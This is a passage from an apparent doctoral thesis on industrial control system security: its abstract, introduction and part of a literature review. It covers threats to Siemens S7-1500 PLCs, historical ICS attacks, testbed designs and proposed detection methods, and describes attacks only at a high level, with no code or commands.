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Abstract 

 

Industrial Control Systems (ICS) are frequently used in the manufacturing 

industry and critical infrastructures, such as water, oil and transportation. 

Disruption of these industries could have disastrous consequences, leading to 

financial loss or even human lives. Over time, technological development has 

improved ICS components; however, little research has been done to improve its 

security posture. In this research, a novel attack vector addressed to the Input and 

Output memory of the latest SIMATIC S7-1500 PLC is presented. The results 

obtained during the experimentation process show that attacks on the PLC memory 

can have a significantly detrimental effect on the operations of the control system. 

Furthermore, this research describes implements and evaluates the physical, hybrid 

and virtual model of a Clean Water Supply System developed for the cybersecurity 

analysis of the Industrial Control System. The physical testbed is implemented on 

the Festo MPA platform, while the virtual representation of this platform is 

implemented in MATLAB. The results obtained during the evaluation of the three 

testbeds show the strengths and weaknesses of each implementation. 

Likewise, this research proposes two approaches for Industrial Control 

Systems cyber-security analysis. The first approach involves an attack detection and 

mitigation mechanism that focuses on the input memory of PLC and is implemented 

as part of its code. The response mechanism involves three different techniques: 

optimized data blocks, switching between control strategies, and obtaining sensor 

readings directly from the analogue channel. The Clean Water Supply System 

described above is employed for the practical evaluation of this approach. The 

second approach corresponds to a supervised energy-based system to anomaly 

detection using a novel energy-based dataset. The results obtained during the 

experimentation process show that machine learning algorithms can classify the 

variations of energy produced by the execution of cyber-attacks as anomalous. The 

results show the feasibility of the approach presented in this research by achieving 

an F1-Score of 95.5%, and 6.8% FNR with the Multilayer Perceptron Classifier.
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Chapter 1:  Introduction 

 

1.1 Background 

Industrial Control System (ICS) is a general term used to define the integration 

of hardware and software with network connectivity used to operate industrial 

processes. ICS’s often includes supervisory control and data acquisition (SCADA) 

systems, distributed control systems (DCS), and different controller system 

configurations such as Programmable Logic Controllers (PLC), which are found in 

industrial sectors and critical infrastructures such as oil, pharmaceutical, power 

plants, water distribution systems and more (Lin et al., 2017). These industries are 

essential for the functioning of a society and economy. In the United Kingdom (UK), 

for example, there are 13 critical national infrastructure sectors identified, which 

are considered important for the operation of the country (National Cyber Security 

Centre, 2019) and where a possible compromise might involve the loss of human 

lives. 

Those industries include: Chemicals, Civil Nuclear Communications, Defence, 

Emergency Services, Energy, Finance, Food, Government, Health, Space, Transport 

and Water. Some sectors have defined ‘sub-sectors’. Emergency Services, for 

instance, can be divided into Police, Ambulance, Fire Services and Coast Guard. 

Moreover, in the United States (US), Homeland Security (Systems, 2010) defines 16 

critical infrastructure sectors as a fundamental pillar for the operation of the 

country, thereby, their damage might have devastating results for the public, 

economy and environment. The sectors that the US focusses attention apart from 

the mentioned above are: Dams, Information Technology and Critical 

Manufacturing..  

Control system technology has grown swiftly over the past decade allowing to 

evolve from mechanical, through electrical/electronic, to microprocessor-based 

systems. One of the main components involved in ICS is the Programable Logic 

Controller (PLC) (Kamel & Kamel, 2014). A PLC is a computer used for industrial 

automation and process control. It can be utilized to automate an specific process, a 

machine function, or even an entire production line. The PLC is a commonly used 
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component in the Supervisory Control and Data Acquisition (SCADA), which is the  

system responsible for monitoring, collecting and processing input and output data 

from field devices such as motors, valves, sensors, and pumps. Before the PLC, the 

machinery could be controlled only with the use of relays (Ghaleb et al., 2018). 

Relays operate by means of a coil that creates a magnetic force to switch from one 

state (ON) to another (OFF) when they are energized. For instance, a motor can be 

controlled by attaching a relay between the power source and the motor. The state 

ON/OFF of the motor changes when the relay is energized/de-energized. The 

control logic for such systems is defined on how these relays are wired. Depending 

on the complexity of the control system, the number relays required can quickly 

become problematic, thus troubleshooting might require hours in cabinets that 

contain hundreds of relays.  

In 1969 the first PLC is launched to the market and it represented a massive 

step forward in versatility since it allowed to focus on the operation of the control 

system in a single point. Currently, PLCs are not new technology, but their 

functionalities have evolved to include networking, advanced data-handling 

capabilities and web server. This has allowed to execute tasks of a high level of 

complexity (Unitronics, 2017). For example, the Siemens PLC’s models 1200 and 

1500 have a web server embedded that can host a simple web page or a complex 

HTML5 application. In spite of this, cyber-security concerns remain in many 

professional spaces because early PLCs were not designed with security in mind, as 

they were isolated devices. As for now, they can be found directly connected to the 

internet, which poses a high risk and an imminent threat for the control process 

connected to it. 

In the PLC market, the main end-user segment includes industries such as 

automotive, chemical and petrol-chemical, paper, packaging and printing, food and 

beverages, mining and metallurgy, water and waste-water treatment as well as oil, 

gas and nuclear power plants (Thirumurugan, 2018). Many manufacturers have 

registered the PLC as their trademarks. This includes worldwide leading automation 

vendors such as Siemens, ABB, Emerson, Schneider (Modicon), Rockwell (Allen- 

Bradley), Mitsubishi, Fortive (Danaher), Yokogawa, GE, Honeywell and Omron 

(Arizton, 2018). The main PLC sellers in the global market are Schneider, Rockwell, 

Siemens, Mitsubishi, and Omron. According to online resources (Community, 2016), 
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a total of 80% of all globally traded PLCs have been sold among the world's top seven 

suppliers. Siemens owns the largest market share, with a contribution of up to 

30.7%, followed by Rockwell, Mitsubishi, and Schneider with a contribution of 

21.6%, 13.9% and 8.9% respectively. Moeller is the last company on the list with the 

market share contribution of 2.3%. The PLC market is ranked by geography amongst 

North America, which holds the largest market share in 2016, Asia Pacific, Europe, 

Latin America, the Middle East and Africa.  In addition, the US and Canada are the 

largest revenue contributors to the global PLC market. Figure 1.1 illustrates the 

world's top eleven automation providers in 2016 based on revenue in US dollars. 

 

 

 

 

 

 

Figure 1.1 PLC vendors revenue in billion U.S. dollars (2016) 

Even though there are many types of PLC, for this research it is important to 

choose one that reflects the capabilities of the market. Therefore, after extensive 

research, we chose a PLC from the latest Siemens PLC range, the SIMATIC S7-1500. 

The experimentation carried out on this device is applicable to the entire family of 

Siemens PLCs and the results obtained in this investigation are also applicable to 

previous PLC models. It can be argued that in industries PLCs are not frequently 

updated due to the criticality of the processes that control such devices. Thus, the 

results of this research are intended to be the baseline for future research 

colleagues. 

1.2 Threat landscape on Industrial Control Systems 

 

A considerable number of attack vectors can be used to target a modern ICS. 

This is primarily attributed to the fact that state-of-the-art industrial equipment 

includes network capabilities that allow them to communicate with other ICS or IT 
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devices over the physical network or by wireless means. Figure 1.2 shows the 

current integration between ICS and corporate networks where industrial 

equipment such as PLCs, Remote Terminal Units and Supervisory Consoles are 

connected to the same corporate network. This integration results in the inevitable 

inheritance of well-known vulnerabilities for ICS, such as man-in-the-middle, SQL 

injection and cross-site scripting. These attacks have been widely studied and there 

are even commercial solutions that can detect and minimize them (Cisco, 2020). For 

that reason, in this investigation we will focus on attacks that attempt to exploit 

vulnerabilities at the control process level such as Stuxnet (Cárdenas et al., 2011). 
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Figure 1.2 Integration of IT and ICS network. Credit: (Johnson, 2017)  

ICS have attracted the attention of cyber criminals because its software is 

deployed in old infrastructures with poor or no security measures in place. This 

might be attributed to the high cost of replacing old equipment. Further, a 

considerable number of computers involved in ICS operations still run on old 

Operating Systems such as Windows XP or Windows 7 without the latest patches. 

According to the report published by (Cybersecurity Insiders, 2018), this is 

attributed to the uncertain results of applying security patches, despite their 

security benefits. IT systems are benefited from the flexibility granted by 

virtualization. It allows applying the latest security patches on a virtual copy of any 

computer before it is applied on productive systems. This is done to evaluate the 

impact of the security patches on the system and applications in case their normal 

operation is affected. On the contrary, the cost of replicating an ICS is considerably 
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high because it involves buying expensive control equipment and having physical 

space available. For instance, industries like oil, nuclear and water cannot afford 

implementing a control process for testing security patches only. 

Industries such as manufacturing, power plants, water and wastewater 

systems are increasingly in the crosshairs of cyber-attackers. Figure 1.3 shows the 

amount of attacks registered during the first half of 2017, 2018, 2019 and the second 

half of 2017 and 2018. It can be seen that 41.2% of ICS’s traffic were attacked by 

malicious software in the first half of 2018 and 2019. The main source of infection 

on ICS’s is the Internet with 27% of attacks received from the web, 8.4% from 

removable devices and 5.8% from email.  

 

 

 

 

 

 

 

 

 

Further, ICSs also face tailored attacks. For instance, on April 6, 2018, several 

critical infrastructure operations were affected after a large-scale attack was 

executed to Cisco IOS switches (ICS-CERT, 2018). This is a clear example that ICSs 

face an increasing number of threats not only from the vulnerabilities found in 

control equipment, but also from the ones present in IT equipment involved in 

control system networks. In 2010, a new form of cyber-attack to ICS emerged. A 

sophisticated malware called Stuxnet (Langner, 2011) targeted Iranian nuclear 

facilities. The malware was designed to exploit zero-day vulnerabilities in Windows 

Operating Systems and Siemens (S7-315, S7-417) devices. The aim of this malware 

was to modify the PLC code and deviate its behaviour. It is believed that at least 984 
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centrifuges at Iran’s uranium enriched facility were destroyed. Stuxnet caused 

minor damage to the nuclear program compared with the potential damage that it 

could have produced. This is the first recorded attack that shows an adversary with 

detailed knowledge of the control process. An important lesson obtained from 

Stuxnet is that even air-gapped computers are not immune from cyber-attacks. 

Another attack vector used for hackers focuses on extracting sensitive information 

from specific ICS. The malware Havex (Rrushi et al., 2015) and GreyEnergy (Palmer, 

2018) are examples of this. Havex was discovered in 2013 and it was tailored for 

espionage in industries such as pharmaceutical, defence, energy and petrochemical. 

When a machine is infected, the malware Havex starts scanning the system and 

devices connected on the same network looking for information such as usernames, 

passwords, or files related to ICS or SCADA systems. After the information is 

collected, it establishes a connection to a remote server to exfiltrate the information. 

Havex is distributed to targeted users through phishing emails and exploits.   

During the first half of 2018 a total of 40% of ICS computers protected by 

Kaspersky solutions were attacked at least once (Kaspersky, 2018). The most 

impacted countries were Vietnam with 75.1% of computers attacked, followed by 

Algeria with 71.6% and Morocco with 65%. Denmark registered 14% of computers 

attacked being the lowest record. The main source of threats is the Internet followed 

by removable storage media and email.  ICSs are becoming an attractive target as 

attackers can take advantage of its online availability aiming to execute harmful 

attacks. In October 2019,  the Nuclear Power Corporation of India Ltd (NPCIL) was 

infected with a dangerous malware linked to North Korea’s Lazarus Group (Jasper, 

2019). This group is believed to be run by the North Korean government, and its 

interest  is primarily for financial gain, as a method of circumventing sanctions 

against the regime. Among the malware created by Lazarus Group are: DarkSeoul 

(Marpaung & Lee, 2013), Fallchill (NJCCIC, 2017), Bitsran (Malpedia, 2017) and 

Fastcash (Gyamfi et al., 2016). The malware executed against NPCIL was used for 

reconnaissance purposes, among its main features are keylogging, retrieving 

browser history, listing running processes and files available. In 2020, cyber-

criminals targeted health care organizations in the UK and US during the COVID-19 

pandemic outbreak (Griffin, 2020). The aim of the attackers was to steal COVID-19 

secrets and research. Furthermore, two companies hired for building emergency 
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COVID-19 hospitals in Birmingham were attacked on May, forcing them to shutdown 

their operations for two days. Table 1.1 shows a summary of relevant attacks that 

have affected ICSs over the years. 

There are a considerable number of cyber-attacks that have occurred on 

critical infrastructures over the time. So far, these industries have avoided a 

catastrophe of unimaginable consequences. Fortunately, attacks like Stuxnet only 

had impact in control equipment and did not involve human lives. For this reason, 

research and academy should join forces and develop novel mechanisms for cyber-

attack detection and response. 

1.3 Research gaps  

 

The research and development of anomaly detection mechanisms for 

Industrial Control Systems is largely carried out in virtual environments. This may 

be due to the cost of implementing a testbed or to the restrictions of access to 

systems such as water, gas, electricity and oil distribution plants. The questions 

whether the results obtained from virtual environments can be used in real 

implementations should be addressed. In this thesis, we fill that research gap by 

providing the results obtained from a physical testbed that implements a model of a 

clean water supply system. It should be noted that the results obtained from this 

research can be applicable to other control processes such as chemical, power grid, 

oil, etc, which are composed of Siemens PLCs. Implementing and conducting a 

cybersecurity assessment in a model of a clean water supply system allows us to 

compare the results obtained from our test bench with other physical 

implementations, such as SWaT (Shalyga et al., 2018) and WADI (Ahmed et al., 

2017). Moreover, it encourages researchers to conduct experiments on physical 

implementations.   
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Table 1.1 Attacks against ICS over the years. Credit (Cybersecurity insiders, 2018) 

 

 

 

 

 

 

Year Event 

1982 
Uncorroborated report of a malware that infected SCADA software that controlled a Siberian 

pipeline. 

2000 
A former contractor attacked the Maroochy Shire sewage control system in Queensland Australia 

resulting in release of a considerable amount of sewage. 

2003 

January. The Slammer worm attacked the Davis-Besse nuclear plant in Ohio.  

August. The Blaster worm infected the communication system in a railway company on the US. 

December. The Nachi virus was found on a French chemical company. 

2005 A total of 13 auto plants were shut down due to the infection of the Zoto worm. 

2006 Traffic lights were attacked in Los Angeles by employees. 

2008 Four trains were derailed in Poland leaving 12 passengers injured 

2009 Worm Conflicker infected power generation plan components in the US. 

2010 Stuxnet worm infected Iranian's nuclear plants. 

2012 Water system in Houston attacked by undisclosed malware 

2014 Malware Havex, originally created to exfiltrate sensitive data, is found in several ICS. 

2015 December. Ukrainian power grid attacked by the BlackEnergy worm. 

2017 

May. WannaCry ransomware infected computers of several ICS resulting in disruptions. 

Jun. Petya ransomware affected power companies, transport industries and Chernobyl radiation 

monitoring station. 

2018 40% of ICS equipment protected by Kaspersky software was attacked during the first half of 2018. 

2019 

Nuclear Power Corporation of India Ltd (NPCIL) was infected with malware suspected to have 

been created by state-sponsored hackers from North Korea. 

 

2020 
Health care organizations from UK and US targeted by cyber-criminals seeking to exploit COVID-

19 pandemic. 
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The physical testbed is composed of cutting-edge components such as the 

SIMATIC S7-1500 PLC, ultrasonic level sensors and flowmeters that are currently 

used in the industry. In addition, we implement a hybrid and virtual representation 

of the physical testbed in order to compare the strength and weaknesses of each 

approach. The testbeds are evaluated using a novel set of attacks to the PLC memory. 

These are not related to approaches that have employed well known attacks, like 

Spoofing and DoS. The same attacks are used to develop a stealthy malware called 

WaterLeakage. This malware can be used for reconnaissance and data exfiltration 

using covert channels, such as light.    

An evaluation of the related work shows the use of machine learning along 

with a set of features obtained from the network, data loggers and equipment 

related to the control process. However, it has been shown by researchers that 

attackers can easily modify information that flows on the network or computer 

equipment. In this research, we propose a new set of energy-based features which 

are obtained from components, such as sensors and actuators that compose the 

control system. Those features are used along with supervised machine learning 

algorithms to build anomaly detection models. The results presented in this 

research show the feasibility of the approach presented in this research by achieving 

an F1-Score of 95.5%, and 6.8% FNR with the Multilayer Perceptron Classifier. In 

addition, this research provides a comparison of the performance of machine 

learning models obtained during online and offline assessment.  

In this thesis, we contribute to anomaly detection approaches from a control 

engineering perspective by implementing a novel anomaly detection and response 

mechanism that is part of the PLC code.  The novelty is based on the fact that our 

mechanism does not require external equipment or external data. Furthermore, and 

to the best of our knowledge, it is the first approach that proposes an attack 

response mechanism based on control engineering techniques. The results obtained 

from the experimentation process show a 100% attack detection rate to the PLC 

input memory. Additionally, the response mechanisms can minimize the impact 

against attacks on the input memory. Nonetheless, it should be noted that attacks on 

the PLC's output memory can be detected but there are no countermeasures or 

response mechanisms to minimize their impact. 
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1.4 Aim and objectives  

The aim The aim of this research is to investigate and develop a novel 

mechanism of cyber-attack detection and response on Industrial Control Systems 

using embedded code in the Programming Logic Controller, as well as a set of newly 

engineered energy-based features along with machine learning techniques. This 

research provides a novel set of attacks to the Input, Output and Working memory 

of the cutting-edge SIMATIC S7-1500 PLC that can be executed from any device 

connected to the same network. Likewise, explores control engineering and 

computing concepts to understand and find feasible approaches that contribute to 

minimizing the impact of cyber-attacks on the input and output memory of the PLC. 

At first, this work demonstrates the feasibility of implementing an algorithm for 

attack detection in the PLC itself, without additional equipment, as part of the code 

used for controlling an industrial process. This algorithm detects anomalies in the 

values obtained from sensors at the input memory of the PLC and responds against 

the attack aiming to minimize its impact. Next, from the computing point of view, 

this research demonstrates that it is possible to detect anomalies in the operation of 

the control system by monitoring the energy of sensors/actuators involved in the 

system. To achieve this, machine learning models are created from a novel dataset 

of newly engineered energy-based features that are collected from a physical 

implementation. The research aims stated above are delivered thought for the 

following research objectives. 

• Identifying and understanding the research gaps, from cyber-security 

perspective, in Industrial Control Systems through a comprehensive 

review and analysis of relevant publications. 

• Performing a PLC vulnerability analysis with the objective of 

discovering possible security breaches that could compromise its 

normal operation. 

• Physically implementing a model of clean water supply system in the 

Festo MPA workstation rig and the Siemens S7-1500 PLC in order to 

support this research. 

• Evaluating the performance of the physical testbed implemented for 

cyber-security research when compared to its virtual and hybrid 

counterpart.   
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• Developing and implementing an algorithm for anomaly detection and 

response in the PLC Siemens S7-1500 along with the code used for the 

process operation.  

• Developing an approach for anomaly detection in a model of a clean 

water supply system using machine learning classifiers and a novel 

dataset of newly engineered-based features.  

• Comparing the performance obtained from machine learning models 

during offline and online operation.  

1.5 Contribution to the knowledge 

This This research overcomes the existing limitation on mechanisms of 

anomaly detection on Industrial Control Systems that rely on information obtained 

from the control network to develop their detection models. This information is not 

reliable because attackers might introduce invalid information in the control 

network during the creation of the security model. Further, this research employs a 

physical testbed for the development of the proposed mechanisms of anomaly 

detection unlike most of the current research that use hybrid or virtual 

implementations of an ICS. Moreover, during the course of this research we discover 

a vulnerability on the memory of the SIMATIC S7-1500 PLC that allows an attacker 

to remotely overwrite the spaces of memory addressed to the inputs, outputs and 

working memory remotely. Those novel attacks were employed to test the physical 

testbed implemented, unlike the common network attacks such as DOS, Man-In-The 

-Middle and Spoofing used in related work. In order to demonstrate the impact of 

this vulnerability a stealthy malware was developed for exfiltration of data on ICS 

using the novel set of memory attacks to the SIMATIC S7-1500 PLC.  

In this research, the topic of cybersecurity on Industrial Control Systems is 

approached from two perspectives: Control Engineering and Computer Science. 

From the first perspective, a mechanism for anomaly detection and response on the 

memory of the PLC was developed. The novelty of this proposed approach is found 

in the fact that the detection mechanism is part of the PLC code without the need for 

external modules or equipment, as described in the existing work. Furthermore, we 

propose a mechanism of response to attacks, filling the research gaps found in 
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related work. As of the computer science perspective, this research proposes a novel 

approach for anomaly detection on Industrial Control Systems based on energy 

monitoring of sensors and actuators that compose the system.  A proof of concept 

was designed and implemented to validate the feasibility of the approach proposed. 

In addition, we define a more robust anomaly detection approach by expanding the 

proposed proof of concept. To achieve this, we implement a more realistic scenario 

that included water demand models. Finally, a real-time energy-based intrusion 

detection system is proposed. Unlike most of the existing work, this system does not 

receive information from the control network, or another system involved in the 

control process, such as data loggers, but rather monitors and alters anomalies in 

real time from the analysis of the energy values of the ICS components.  

1.6 Research methodology 

The research methodology that was followed for the purposes of this thesis 

includes a combination of methods such as literature review and qualitative 

research. The literature review plays a critical role in research because science 

remains, above all, a cumulative effort. A comprehensive review of state-of-the-art 

literature on cybersecurity of industrial control systems was conducted with a 

particular focus on detection and response mechanisms using machine learning and 

control engineering approaches. A large number of journal publications and 

conference papers were meticulously studied in order to build a solid knowledge 

base to be used during the course of this research. In addition, the in-depth review 

of publications related to our subject of study allows us to identify its limitations and 

gaps in order to design and develop novel solutions that will be proposed later in 

this thesis. The methodology used in this research is defined below. 

1. Analyse the structure and communication of the SIMATIC S7-1500 PLC 

with the intention of finding vulnerabilities that can be used to 

compromise the process under control.  

2. Design and implement a physical control process with state-of-the-art 

equipment used in the industry that is comparable to implementations 

found in related work.  

3. Evaluate the physical testbed with its virtual and hybrid 

implementation in order to find its strengths and weaknesses. 
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4. Analyse the impact of the execution of cyber-attacks during the 

operation of the control system and find possible mechanisms that can 

minimize its effects. 

5. Design and implement a novel anomaly detection and response 

mechanism using control engineering techniques that do not involve 

external equipment. 

6. Use a novel set of energy-based features in conjunction with machine 

learning for anomaly detection in a control system. 

7. Implement a real-time anomaly detection system based on the novel 

set of energy-based features.  

8. The results of our research have been reflected in manuscripts that 

have been published in prestigious international journals and 

conferences. Consequently, our research and results have contributed 

to the academy and will be a fundamental pillar of future research. 

1.7 Structure of the thesis 

This thesis is organized as follows: 

Chapter 1 provides an introduction of this research highlighting the history of 

Industrial Control Systems along with the current threats that they face. This 

chapter also includes aims and objectives, contribution to the knowledge and 

research methodology. 

Chapter 2 summarizes a comprehensive state-of-the-art literature review of 

existing mechanisms of anomaly detection on Industrial Control Systems from the 

perspective of control engineering and computer science. 

Chapter 3 involves a novel set of attacks targeting the input, output and working 

memory of the SIMATIC S7-1500 PLC that is currently used in a considerable 

number of critical infrastructures such as manufacturing, water systems, nuclear 

and more. Further, this Chapter provides a practical demonstration of the impact of 

attacks on PLC memory through the implementation of the ICS malware called 

WaterLeakage.  
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Chapter 4 describes the design and implementation of the physical Clean Water 

Supply System (CWSS) testbed used for cybersecurity analysis of Industrial Control 

Systems. This testbed is implemented in the modified version of the Festo MPA 

Process Control Rig and the SIMATIC S7-1500 PLC. In addition, this Chapter 

provides a hybrid and a virtual implementation of the CWSS with the objective of 

comparing its performance with its physical counterpart.  

Chapter 5 proposes a novel mechanism of cyber-attack detection and response for 

attacks on the input memory of the programming logic controller. This mechanism 

runs as part of the PLC code which makes it independent of additional modules or 

equipment. The results obtained as part of the experimentation process show the 

feasibility of the proposed mechanism. 

Chapter 6 proposes an anomaly detection technique for Industrial Control Systems 

based on a novel dataset of newly energy-based features for machine learning 

classification. The experimentation process starts as a proof of concept in the 

custom version of the Festo MPA Process Control Rig. The results obtained show the 

feasibility of the proposed approach, and so, the concept is extended and studied in 

the customized version of the Festo Rig.  

Chapter 7 proposes a real-time anomaly detection system using machine learning 

and the novel set of energy-based features. The novelty of this detection system is 

based on the fact that it is placed in the lowest layer of the ICS architecture, because 

it monitors the energy consumption of sensors and actuators. This detection system 

adds an additional layer of protection in the ICS architecture that already has 

traditional security devices, such as firewalls. 
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Chapter 2:  Literature review 

 

2.1 Introduction 

This chapter provides the state of art literature focused on 

cybersecurity of industrial control systems. First, we analyse the 

architecture of Industrial Control Systems suggested by 

international standards such as NIST 800-82, which have been 

adopted by the Automation Industry. Further, the different 

testbed implementations, used by researchers in the field, to 

verify the feasibility of their proposed solutions are discussed. 

Moreover, the research presented in this thesis tackles the 

problems related to cybersecurity in industrial control systems 

from two perspectives; control engineering and computer 

science. For this reason, the relevant literature in these two fields 

is analysed at the end of the chapter. 

2.2 ICS architecture 

Industrial Control Systems (ICSs) are employed in a large number of industries 

such as electrical, water treatment, nuclear, paper and manufacturing. There are 

several types of ICS. Supervisory Control and Data Acquisition (SCADA) systems are 

mostly used for collecting real-time data of the control process remotely. This data 

is analysed and presented through a Human Machine Interface (HMI). This type of 

architecture usually applies to large geographic areas such as power grid, water 

plants that might be located thousands of kilometres away (Hadžiosmanović et al., 

2014). Distributed Control Systems (DCS) are process-oriented and monitor local 

processes. DCS can be similar to SCADA systems regarding architecture and 

technology, nevertheless, they monitor complex industrial processes in a small area, 

for example, an industrial plant with different time constraints(Li et al., 2016; Yüksel 

et al., 2016). 
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ICSs are composed of different components such as electrical, mechanical, and 

pneumatic that are used to achieve various objectives in industries like 

manufacturing or transportation. There are several guidelines, security standards 

and best practices on ICS risk management such as: IEC/ISA-62443 (Phinney, 2006), 

which is an ICS security standard, the UK’s CPNI (Luzia et al., 2015), which provides 

a practice guide for ICS security. However, the Purdue Model for Control Hierarchy 

provided by the SANS Institute (Obregon, 2014) and the ICS reference model 

published by NIST Special Publication 800-82 revision 2 (Stouffer et al., 2015) are 

well recognized models in manufacturing industry that segments devices and 

equipment into hierarchical functions (Ogundokun et al., 2018). Further, those 

models have been utilized by international standards such as ANSI/ISA 99.00 

(Ranathunga et al., 2015). The ICS reference model states that an ICS should focus 

on four general areas: the control centre, the communication architecture, the field 

devices and the physical process itself. On the other hand, the Purdue Model 

framework provides a more detailed classification by identifying four zones and six 

levels. Each level is a logic segment of an ICS that performs a specific function. 

Figure 2.1 shows the Purdue Model. The Safety Zone is an air-gapped system 

that alert operators about unsafe conditions. The Cell/Area Zone is defined as a 

functional area within a production facility and it is composed of three levels. Level 

0: Process, includes the physical equipment like pipes and tanks that compose the 

control process. Level 1: Basic Control, comprises the control equipment such as 

sensors and actuators. The main purpose of those devices is to manipulate the 

physical process. Level 2: Area Supervisory Control, communicates with the 

equipment found at Level 1. Some of the functions and systems placed in level 2 are 

the same as for level 3, Nevertheless, level 2 focus on small parts of the system 

whereas level 3 covers the overall system. Devices like Human Machine Interfaces 

(HMI), Alert Systems and Control room workstations can be found at level 2. The 

Manufacturing Zone comprises the Cell/Area networks and site-level activities. In 

this zone relays Level3: Site Manufacturing Operations and Control where systems 

that support the control and monitoring functions resides. Application and services 

such as Network File Servers, Plant Historian and Staging Area can be found at this 

level. Finally, the Enterprise Zone is where business systems typically reside, and It 

is composed of two levels. Level 4: Business Planning and Logistic is composed of 
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the Information Technology (IT) systems that support the production process. At 

this level system such as Enterprise Resource Planning (ERP) and System 

Application Products (SAP) are typically found. Level 5: Enterprise, usually is 

composed of the corporate network that manages multiple facilitates or plants. 

Communication between the corporate and ICS network is not recommended due 

to the level of risk involved.  

Figure 2.2 shows the ICS reference model suggested by NIST Special 

Publication 800-82 which defines four levels. Level 0: Input/Output refers to the 

physical process. It includes hardware, such as sensors and actuators that are 

directly connected to the control process.  Level 1: Control Network involves the 

equipment used to monitor and control the physical process. At this level, the 

information from the sensors is obtained and processed to then generate the 

outputs that will be sent to the actuators. Equipment at level 1 comprises PLCs and 

RTUs. Level 2: Supervisory Control, includes the systems used to monitor and 

control the physical process. This level includes devices such as HMI, workstations 

and servers. Lastly, Level 3: Corporate Network denotes the equipment involved in 

the business-related activities. At this level, traditional IT equipment and corporate 

services such as Email, File Transfer Protocol (FTP), Intranet and Databases are 

used. Further, security devices like firewalls are placed at this level with the 

intention of preventing direct communication between the corporate and control 

network for security reasons.       

 

  

 

 

 

 

 

 

 

Figure 2.2 ICS reference model by NIST 
special publication 800-82. 

 

Figure 2.1 Purdue model for control 
hierarchy logical framework by SANS 
Institute. 
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The two architectures described above allow classifying the elements that 

compose a control system by zones and levels according to the Purdue Model and 

only with zones for the ICS reference model defined by NIST. The architecture 

defined by the Purdue model provides a classification with greater granularity 

compared to the architecture defined by the ICS reference model. Additionally, the 

Purdue Model defines an architecture that takes into consideration the management 

and control of multiple locations, unlike the referential model, in which only one 

location is considered. In this research, we adopt the ICS reference model for the 

implementation of the test bench that is detailed in Chapter 3 because it is the most 

used in the academic field due to it is not as complex as the Purdue Model (Green et 

al., 2016). As a result, the ease and cost of implementation are affordable. In the 

other hand, the Purdue Model is more popular in the manufacturing industry 

because it has a higher level of detail and specifications. 

2.3 ICS testbeds for cybersecurity research 

Most current ICS research approaches are dedicated to detecting abnormal 

activities in ICS based on publicly available datasets. However, these datasets 

become obsolete when new attacks arise due to the rapid evolution of the malware 

industry. One of the reasons why datasets are not kept up to date is the lack of 

physical testbed intended for research. There are only a few datasets available, for 

instance the Centre for Research in Cyber Security (iTrust, 2018) provides the most 

popular datasets used among researchers, however they are not publicly accessible. 

Another dataset that is frequently cited by researchers is provided by the authors 

(Miciolino et al., 2016), although only the parties involved in the project have access 

to that dataset.  To overcome this, researchers obtain datasets from simulation 

environments which mimic the behaviour of a real ICS (Tesfahun & Bhaskari, 2016), 

(Mallouhi et al., 2011). Nevertheless, it should be noted that ICSs have physical 

dynamics such as humidity and temperature that are not simulated. This questions 

the quality of the mechanism of anomaly detection which is developed under such 

circumstances.  
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The main objective of using testbeds for research is to perform vulnerability 

analysis against them. It allows to find out mechanisms of defence that raise an alert 

when an intrusion is detected. There are different types of testbed implementations: 

physical, hybrid and virtual.  Physical testbeds provide a suitable understanding of 

control equipment and its operation. They scale down industries such as water 

distribution and power systems using real control equipment like PLCs (iTrust, 

2018).  

Hybrid testbeds are generally composed of real control equipment like PLC’s 

and a virtual implementation of the process under control that includes sensors and 

actuators (Keliris et al., 2017). The cost of implementing a hybrid testbed is 

considerably less than a physical testbed because sensors and actuators are 

simulated. However, one of the disadvantages is that some physical dynamics found 

on real implementations such as the influence of humidity in the ultrasonic sensor 

readings as well as noise cannot be simulated by software.  

Virtual testbeds are completely simulated by software. Some virtual systems, 

which take advantage of computing virtualization, could be implemented in a single 

computer, although they could use several (Mallouhi et al., 2011) . One of the 

concerns about virtual implementations is that they tend to be based on 

mathematical equations. This could have a negative impact when designing security 

mechanisms for control systems based on virtual testbeds, such as Intrusion 

Detection Systems (IDS), because physical control systems include non-linearity. 

This could also have a negative impact when testing intrusion detection systems 

because the physical dynamics could be reflected in false / positive alarms. 

2.3.1 Physical testbeds 

One of the most used testbeds among researches is obtained from the Secure 

Water Treatment (Swat) testbed (iTrust, 2018). This is a scaled down water 

treatment plant that produces 5 gallons/minute of doubly filtered water. The water 

treatment process involves six stages each controlled by an independent PLC. The 

first stage of the process starts by taking raw water. The amount of water to be 

treated is controlled by a motorized valve. During stage two water is pumped via a 

chemical dosing station followed by another ultra-filtration (UF) at stage 3. Stage 4 
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comprises of dichlorination by Ultraviolet lamps. Before starting stage 5, Reverse 

Osmosis, water mush be chlorine free. The last stage controls the cleaning of 

membranes in the UF unit. Each PLC receives information from sensors connected 

to the corresponding stage, process the information and controls actuators like 

pumps and valves in its domain. The SWaT testbed comprises of a layered 

communication network, SCADA systems, HMI and Historian Data. The SWaT 

dataset involves 11 days of continuous operation, 7 days under normal operation 

followed by 4 days of attacks against the control process. Attacks include 36 

scenarios of: single-point, multi-point, man in the middle (MITM), packet hijacking, 

single-stage and multi-stage. The entire set of attacks is conducted thorough the 

network in a controlled environment. However, accessing this testbed is rather 

difficult, researchers are dependent on the datasets generated by its creators. 

The FACIES testbed is another scaled down water system developed within 

the EU Project called under the same name (Miciolino et al., 2016). The main aim of 

this testbed is to contribute to the analysis and identification of cyber threats 

targeting Critical Infrastructures. It is composed of three layers, Layer 0 involves 5 

sensors and 24 actuators, followed by two PLCs allocated in layer 1. A SCADA system 

and HMI are part of layer 2. The dataset contains normal and anomalous operation. 

The set of attacks performed to the testbed includes: MITM, ARP spoofing and 

packet hijacking. The size of this testbed is considerable smaller than SWaT testbed.  

In the same way, (Ahmed et al., 2017) introduces WADI: A water distribution 

testbed for research. It represents a scaled down version of a water distribution 

network that can be found in a small city. The water distribution process involves 

three stages: purification, distribution and recycling. It is composed of three layers: 

layer 0 contains sensors/actuators and I/O modules using RS845-Modbus Protocol. 

The PLCs connected to a central node are part of layer 1 while HMI and the plant 

control network form layer 2. The main limitation of this testbed is that only 

spoofing attacks are implemented. This reduces the opportunity of investigating the 

behaviour of more sophisticated attacks such as MITM or crafting TCP/IP packets.   
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In the context of energy plants, (Dolgikh et al., 2011) provides a physical 

testbed that allows the simulation of a power generation station.  The testbed 

provides researchers with a comprehensive understanding of the effects of 

cyberattacks and mechanisms of protection such as IDS. The physical components 

that simulate the power station involve motor-generator modules, turbo-generator 

modules and different variable loads. These components are controlled by an Allen 

